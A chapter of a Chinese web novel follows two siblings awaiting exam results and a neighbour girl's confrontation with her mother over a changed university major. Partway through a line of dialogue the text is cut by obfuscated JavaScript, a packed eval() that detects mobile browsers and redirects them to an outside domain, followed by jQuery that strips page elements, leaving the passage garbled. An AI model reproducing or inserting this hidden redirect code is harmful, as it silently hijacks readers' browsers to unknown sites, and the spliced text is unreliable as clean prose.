13. 成长的阵痛(下)
作品:《八零年代女司机》 江苗估出的分数不错,和江粟估出来的相差巨大,一个能过全国重点院校分数线,一个大专都有点悬,完全是两个极端,好在张月英已经学会平静面对。
她没有参加过高考并不参与孩子们的志愿填报,只是鼓励他们学习感兴趣的专业。
江苗常年稳居年级前五,是老师重点关注学生,班主任结合前两届报考情况以及社会热点帮她分析,最后她建议江苗可以报考中文、数学、物理、机械工程、电力、国际贸易等方面的专业。
前面三个专业是前两届的热门报考专业,后面则是因为改革开放,国家大力推进工业现代化,机械制造、电力系统等实用科学领域急需人才,最后会推荐国际贸易,完全是因为班主任觉得国家正在逐步对外建交,国家想要挣外汇,国际贸易方面人才需求量就会不断提高。
综合考量过后,江苗决定报考北京经济学院的国际贸易专业,江粟的第一志愿则填了一所专科学校的机械工程专业。
实用科学好啊,他喜欢实用的东西。
等待分数的日子漫长而焦灼,最重要的是一颗心全系于此,吃饭、睡觉、看书突然就会冒出自己到底能考多少分的忐忑猜测。
尽管张月英和江禾都劝说:“考完了就痛痛快快玩,别想那么多。”
江苗涩然,夜里会梦见自己落榜,家人的失望,周围人的嘲笑,担忧交织成一张大网结结实实地罩住她。
她从忽然惊醒发展到整宿整宿睡不着,害怕打扰到需要上班的姐姐,可以睁着眼好几小时不动。
虽然她一再小心但还是被起夜的江禾发觉,她披着外衣坐在江苗对面,“苗苗,你还记得咱爸吗?”
“记得,只要一发工资他就买枣糕回家,那时候饭都吃不饱,妈能念叨好几天,下个月爸又买妈又念一直买了一年,直到我再也不馋吴家小子手上的。”
江苗长叹一口气,深埋心底的思念涌上来,激得眼睛直发酸。
“是啊,咱爸是个豁达的人,苗不管我还是妈都希望你开心一些豁达一些,人生的路很长有些事努力过不管结果如何对得起自己就好。”
江苗低下头,好一会儿,她压抑地抽泣起来
江粟也察觉到了她的异样,带她去打球,也不是非要她一起打,她想动就投几颗球,江粟再象征性拦一下,她不想动就坐在球场边看江粟和其他男孩子撞来撞去,最后兄妹俩一路吃着冰棍儿回家。
出分那天是工作日,三人组一起走去学校。
江苗和梁琪有一段时间没说话了,两人根本没机会凑在一起。
梁琪爸妈因为梁琪的专业吵得不可开交,夫妻俩争得面红耳赤寸步不让,梁妈要女儿报考中文或师范专业,符合她家书香门第的气质。
梁爸从小没管过梁琪的学习等到高考报志愿了,又明确表达希望梁琪报考国际贸易,挣美金跟老外打交道体面,这是他头次对女儿的学习方面提出要求。
夫妻俩各执一词最后还是他退了步害怕老婆动胎气。
分数出来,江苗超过北京经济学院的录取分数线,而江粟也幸运的擦过了大专线,只超了4分,至于能不能就读机械工程专业还要等。
终于轮到一向散漫的江粟紧张,他不再满足于有学上就行,而是祈祷千万不要被调剂。
于是江家人因江苗松下的一口又因为江粟重新提上来。
照猫画虎,江苗也拉他去打球,还拉着梁琪一起去,通常是她们俩吃着江粟买的冰棍儿坐在边上看他打,看他和同学们撞来撞去,半个月下来人黝黑发亮。
落日把少年的轮廓镀成金铜色,垂在他额头上的发丝有些汗湿,随着跑动起伏……
梁琪停下笔,合上日记本,锁进抽屉深处。
……
八月中,一个炎热的午后江苗收到了录取通知书,不顾毒辣的太阳她第一时间拿着奔向食品厂,迫不及待拜托门岗李叔帮她叫她妈出来。
李叔看着鲜红的通知书,乐呵呵地同意了她的请求。
张月英全副武装,头戴白色工作帽,身上穿着白色长工装,外面的胶皮围裙上还带着水渍,她一路快步来到厂门口,纱布口罩都没来的及摘汗水顺着鬓角流下来。
她在工装上擦了又擦确保手上没有水后才郑重的翻开通知书,北京经济学院几个大字映入眼帘,捧着重若千斤的通知书,张月英的手止不住的颤抖,眼眶微微泛红却极力忍住生理性冲动。
江苗笑了,发自内心的笑,笑得双眼泛红拿着手绢轻轻擦拭妈妈眼角溢出的泪水,“妈,我做到了。”
第二天周日张月英花了一半她和江禾的肉票买回来一块儿五花肉,结结实实做了一大碗红烧肉,用白面擀了二斤过水面出来,陪着小咸菜酣畅淋漓地吃了一顿。
一家人为江苗高兴的同时,又为江粟紧张,迟迟不见他的通知书,整个家里弥漫着一种既喜悦又忐忑的矛盾氛围。
梁琪晚两天收到录取通知书,五号院儿出了两个大学生一时间名声大噪,梁大妈恨不能敲锣打鼓昭告亲朋好友挂红绸,当天所有路过的邻居都知道她家出了个大学生。
不过挂红绸的念头冒出来还没半天就被儿子和儿媳的争吵打消了。
这段时间江苗一直拉着梁琪一起出去,借口她不想一个人跟她哥出门,实际是她想带梁琪去散散心,别人家的事儿不好说,就闭嘴不说,在外头逛一逛待一会儿吹吹风吃吃零食总比老在家待着强。
梁琪收到通知书的当天三人组照例出门,这回没打篮球,为了庆祝江苗成功被录取下午的时候三人去公园划船。
江粟一个人划,江苗喊加油,阴郁多日的梁琪难得哼起小调,笑声随着水面出现的波纹缓缓荡开。
当晚,梁家房门紧闭,隐隐传出呵斥声、叫喊声。
江苗推开窗户,忐忑张望,他们回来的有点晚,梁叔叔和舒阿姨神情严肃,特别是舒阿姨一把扯过梁琪拉回了家。
都怪江粟,划那么远干什么,害得他们回来了晚了。
正房内梁家四个大人对阵一个孩子,梁琪站在屋子中央,舒丽坐在椅子上目光炯炯直视梁琪声音尖利:“你报建
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459923|185326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
筑!你为什么改志愿?中文不好吗?师范不好吗?啊!你好大的胆子竟然敢瞒着我改志愿,还和江家那两个混在一起,是不是他们撺掇的?你到底瞒了我多少事?说啊!”
室内突然一片缄默,众人神色各异,梁跃进生气女儿自作主张的地同时又担心他媳妇儿的身孕,梁大爷和杨大妈则忧心忡忡地看着自小宠爱大的孙女儿。
梁琪则不为所动,舒丽将她的沉默视成默认,她怒不可遏面色狰狞地往地上砸了一个玻璃杯,玻璃渣四溅,划过梁琪光洁的小腿,留下浅浅的血痕。
“哎哟,这是干啥呀,都是我看琪琪这几天心情不好才让她跟江苗出去散散心,都是我这个老不死的不是,”杨大妈心疼地搂过孙女儿。
“妈,这都什么时候了您还惯着她,”舒丽怒声道。
梁跃进也跟着谴责:“这时候您就甭添乱了,梁琪你说实话到底是怎么回事?”
桌上摊开的红色通知书无时无刻不在刺激舒丽,她试图冷静下来,强压怒气再次问女儿:“是不是江家兄妹撺掇你改的志愿?”
梁琪抬起头悲惨地笑笑,说出的话更是再次点燃舒丽:“没任何人撺掇,我只是想学自己喜欢的专业,妈很多时候我不需要您帮我做选择。”
“你说什么?”舒丽难以置信,“你再说一遍!梁琪,你说什么?”
愤怒、绝望在舒丽的胸腔里横冲直撞,撞得头晕目眩,撞得她双脚瘫软,她赤红着眼咆哮:“梁琪你滚!滚!”
梁建军看着平静地女儿和警惕地护着她的妈、以及怀有身孕暴怒的妻子,他眉头紧皱冲他妈喊:“把她带回房间!”
孙女儿的叛逆震惊了杨大妈,她愣神片刻才把孙女儿半拉半拽拖到门边避免母女俩再起争执。
可还不等她开门,梁琪盯着暴怒的母亲一字一句说:“你不喜欢的任何人,任何专业我都喜欢。”
舒丽歇斯底里冲到梁琪面前,一只手高高举起,却没能落下,梁建军紧紧箍住她的腰,见他妈愣住转头大声呼喊:“爸,把梁琪拉走。”
胡大妈如梦初醒和老伴儿一起拉开孙女儿,塞回房间。
八月底江粟如愿以偿收到通知书,没有被调剂,成功就读机械工程。
张月英大喜过望,江苗考上了好学校,江粟也有学上,她原本准备大肆庆祝一番,还是江苗劝妈妈:“梁叔叔和舒阿姨因为梁琪专业大闹一场这时候咱们家庆祝杨奶奶来也不好,不来也不好。”
张月英一听是这个道理退而求其次打算请孩子们去国营饭店大吃一顿。
不过不巧的是江禾接了一个紧急的送货任务,女儿第一次开长途她忧心不已,哪里还有心情去吃国营饭店。
只好用剩下的肉票买了点儿肉回来赶在江禾出发前一晚煮肉丝手擀面,姐弟仨一样吃得欢喜。
而张月英则是忧心忡忡,隔天上班儿整个人跟丢了魂儿一样,崔大姐也看出了她的不对劲把她拉回休息室,问不出个啥就让她自个儿缓一缓
事实证明她的担忧不无道理,江禾正被拦在国道上。